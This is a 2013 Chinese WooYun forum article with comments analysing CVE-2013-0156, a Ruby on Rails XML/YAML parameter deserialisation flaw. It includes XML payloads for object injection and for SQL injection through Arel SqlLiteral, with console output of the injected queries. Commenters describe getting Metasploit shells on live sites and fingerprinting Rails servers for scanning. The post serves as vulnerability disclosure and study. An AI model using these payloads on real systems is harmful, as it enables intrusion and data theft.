当前位置:WooYun(白帽子技术社区) >> ruby on rails >> Ruby on Rails XML参数解析漏洞(CVE-2013-0156)

Ruby on Rails XML参数解析漏洞(CVE-2013-0156)

GaRY | 2013-01-10 14:31

Author: wofeiwo#80sec.com

注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。

近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155CVE-2013-0156.

CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家"立即"升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了.

为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如:

<?xml version="1.0" encoding="UTF-8"?>
<hash>
<foo type="integer">1</foo>
</hash>


如果你POST提交这样的一个数据,RoR就会在其中解析为:

"hash" => {"foo" => 1}

这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml.

说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么?

然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。

但是等等,还有另一个参数类型,yaml。
yaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。

<test type="yaml">--- !ruby/object:A
aaa: bbb
</test>


这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。
如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。
如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。

一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式)

model.find_by_id(params[:id])

类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容:

<id type=yaml>--- !ruby/string:Arel::Nodes::SqlLiteral
1 and 1=2
</id>


利用如上代码,通过SqlLiteral对象,即可进行sql注入。

irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1")
=> "1"
irb(main):018:0> Post.find_by_id(a)
Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1
=> #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01">
irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1")
=> "1 and 1=1"
irb(main):020:0> Post.find_by_id(a)
Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1
=> #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01">
irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2")
=> "1 and 1=2"
irb(main):022:0> Post.find_by_id(a)
Post Load (0.0ms)  SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1
=> nil


本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。


update: 今天外界爆出了SQL Injection远程执行的POC,尚未测试成功。等后续有空继续更新分析内容。

分享到:
  1. 1#
    回复此人 感谢
    cnyouker | 2013-01-10 14:35

    顶!

  2. 2#
    回复此人 感谢
    xsjswt | 2013-01-10 14:37

    沙发没了

  3. 3#
    回复此人 感谢
    xsjswt | 2013-01-10 14:37

    @cnyouker 鄙视一楼抢沙发,前排首页广告位出租

  4. 4#
    回复此人 感谢
    xsjswt | 2013-01-10 14:39

    #define tcpper @clozure

  5. 5#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2013-01-10 14:43

    赞!

  6. 6#
    回复此人 感谢
    xsjswt | 2013-01-10 15:02

    @xsser 给gay加一个闪电撒

  7. 7#
    回复此人 感谢
    无敌L.t.H (‮……天百一爱恋考高:簿相色白产国) | 2013-01-10 15:24

    又要洗铁路了。

  8. 8#
    回复此人 感谢
    123 (v2ex) | 2013-01-10 15:35

    https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156?x=1

    前排

  9. 9#
    回复此人 感谢
    hqdvista (...) | 2013-01-10 21:34

    msf亲测可用

  10. 10#
    回复此人 感谢
    hqdvista (...) | 2013-01-10 21:35

    不过msf弹得session很不稳定,还是自己再弹一次好

  11. 11#
    回复此人 感谢
    Spy4man (多人使用的公共号,言论不代表ID本人!) | 2013-01-10 21:41

    @hqdvista 求URI 测试!一直没找到可用的,测试了几个 都说数据包过大!

  12. 12#
    回复此人 感谢
    Spy4man (多人使用的公共号,言论不代表ID本人!) | 2013-01-11 00:57

    @hqdvista 找到了 这个sessions 确实非常不稳定啊~

  13. 13#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2013-01-11 14:29

    @hqdvista 这个为兄台人呢 在测试么 有结果么?

  14. 14#
    回复此人 感谢
    clozure | 2013-01-11 14:56

    我是来围观的,rce的原因在这里,R0SP2Y9]]ID8HUA2{LM0009.jpg
    rails console的测试:
    G4LWT6NVP9(Z2{EJQPBU`%6.jpg

  15. 15#
    回复此人 感谢
    123 (v2ex) | 2013-01-11 15:03

    @clozure 拜大牛,已学习

  16. 16#
    回复此人 感谢
    xsjswt | 2013-01-11 15:05

    @clozure 膜拜大牛,已学习

  17. 17#
    回复此人 感谢
    GaRY | 2013-01-11 16:04

    @clozure 多谢补充,以后你多发发paper

  18. 18#
    回复此人 感谢
    hqdvista (...) | 2013-01-13 13:15

    @clozure 膜拜大牛,已学习

  19. 19#
    回复此人 感谢
    hqdvista (...) | 2013-01-13 13:21

    @xsser
    yaml.png
    抱歉前几天没看到。。。msf弹得session似乎一旦写stderr或者执行的命令没有写stdout就会导致sessionEOF Error,最好立即再弹一个shell出来。测试的网站是熟人的,已经通知fix了

  20. 20#
    回复此人 感谢
    hqdvista (...) | 2013-01-13 13:56

    测试成功的版本是3.1系列

  21. 21#
    回复此人 感谢
    cnrstar (Be My Personal Best!) | 2013-01-13 18:10

    @Spy4man 怎么找的?url有什么特点呢?

  22. 22#
    回复此人 感谢
    Spy4man (多人使用的公共号,言论不代表ID本人!) | 2013-01-13 23:49

    @hqdvista 换个payload就行了!sessions自然就好了!

  23. 23#
    回复此人 感谢
    Spy4man (多人使用的公共号,言论不代表ID本人!) | 2013-01-13 23:50

    @cnrstar 这货没什么玩的!没大站,国外也是才兴起的,用的不多!

  24. 24#
    回复此人 感谢
    GaRY | 2013-01-14 12:08

    @Spy4man 没大站?twitter, github都是ror的,你说国外没有大站用?

  25. 25#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2013-01-14 12:18

    @Spy4man 还是挺多的 最近的众测试就是这个

  26. 26#
    回复此人 感谢
    Spy4man (多人使用的公共号,言论不代表ID本人!) | 2013-01-14 15:28

    @GaRY 国内这货压根就不多!真不多,写了个软件跑国内的 跑出来基本没什么大战!国外的利用也不多!不只是推特和github 还有几个大站也用的这个!但是这玩意兴起不久 确实不多!

  27. 27#
    回复此人 感谢
    Spy4man (多人使用的公共号,言论不代表ID本人!) | 2013-01-14 15:29

    @xsser 众测的针对整个互联网很多么? !

  28. 28#
    回复此人 感谢
    gniq | 2013-01-14 23:16

    ror世界部署情况
    We know of 239,125 websites using Ruby on Rails.46,859 websites within the most visited sites on the internet and an additional 192,266 websites on the rest of the web.

    msf下即使换payload,常常失败的说,rails 3.2.1版本

  29. 29#
    回复此人 感谢
    gniq | 2013-01-14 23:18

    @hqdvista 用哪个rails版本测的?

  30. 30#
    回复此人 感谢
    gniq | 2013-01-15 19:38

    @Spy4man ror的站有什么特点,扫的特征是啥》?

  31. 31#
    回复此人 感谢
    GaRY | 2013-01-16 11:10

    @gniq metasploit的文中说的很清楚:

    Rails can be identified through additional headers on the HTTP response as well, for example:
    X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.8
    X-Rack-Cache: miss
    Set-Cookie: _appname_session=(base64)%3D%3D--(hexadecimal)

  32. 32#
    回复此人 感谢
    gniq | 2013-01-17 09:42

    @GaRY 后来看到了,呵呵感谢

  33. 33#
    回复此人 感谢
    oldcat | 2013-01-17 11:44

    这个要膜拜

  34. 34#
    回复此人 感谢
    乌帽子 (业精于勤而荒于嬉,行成于思而毁于随。) | 2013-10-23 11:10

    太高深了 ,看不懂

  35. 35#
    回复此人 感谢
    _Evil (科普是一种公益行为) | 2013-12-28 02:02

    @gniq @GaRY https://community.rapid7.com/community/metasploit/blog/2013/01/10

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录

其它内容

  • 暂无